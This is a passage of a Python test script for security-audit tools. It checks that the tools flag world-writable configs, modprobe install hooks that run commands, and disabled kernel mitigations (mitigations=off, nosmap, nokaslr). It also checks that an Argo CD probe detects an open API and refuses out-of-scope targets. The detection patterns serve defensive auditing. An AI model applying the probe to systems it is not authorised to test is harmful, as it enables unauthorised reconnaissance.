check("fstab_audit accepts hardened tmp mounts and a plain data mount",
fs_good["findings_count"] == 0 and fs_good["entries"] == 4, fs_good)
mp = json.loads(text(by_id[3]))
mp_kinds = {f["id"] for f in mp["findings"]}
check("modprobe_audit flags an install hook that runs a command",
{"world-writable", "install-command"} <= mp_kinds and mp["files"] == 1,
mp)
mp_good = json.loads(text(by_id[4]))
check("modprobe_audit accepts /bin/false and /bin/true hooks",
mp_good["findings_count"] == 0, mp_good)
gr = json.loads(text(by_id[5]))
gr_kinds = {f["id"] for f in gr["findings"]}
check("grub_audit flags mitigations=off, nosmap and nokaslr",
{"world-writable", "mitigations-off", "nosmap", "nokaslr"} <= gr_kinds
and "mitigations=off" in gr["cmdline"], gr)
gr_good = json.loads(text(by_id[6]))
check("grub_audit accepts a hardened command line",
gr_good["findings_count"] == 0 and
"init_on_alloc=1" in gr_good["cmdline"], gr_good)
argo = json.loads(text(by_id[7]))
check("argocd_probe finds the open application API",
argo["applications_open"] is True and argo["evidence"] and
os.path.isfile(argo["evidence"]), argo)
argo_auth = json.loads(text(by_id[8]))
check("argocd_probe reports a protected instance",
argo_auth["applications_open"] is False and argo_auth["evidence"] is None
and all(e["status"] == 401 for e in argo_auth["endpoints"]), argo_auth)
check("argocd_probe refuses an out-of-scope target", err(by_id[9]),
text(by_id[9]))
check("fstab_audit reports a missing configuration", err(by_id[10]),
text(by_id[10]))
check("modprobe_audit reports a missing configuration", err(by_id[11]),
text(by_id[11]))
check("grub_audit reports a missing configuration", err(by_id[12]),
text(by_id[12]))
argo_srv.shutdown()
argo_srv.server_close()
argo_auth_srv.shutdown()
argo_auth_srv.server_close()
shutil.rmtree(fs_root, ignore_errors=True)
shutil.rmtree(fs_good_root, ignore_errors=True)
shutil.rmtree(mp_root, ignore_errors=True)
shutil.rmtree(mp_good_root, ignore_errors=True)
shutil.rmtree(gr_root, ignore_errors=True)
shutil.rmtree(gr_good_root, ignore_errors=True)
shutil.rmtree(cfg42_home, ignore_errors=True)
print("\n== esp32 tools ==")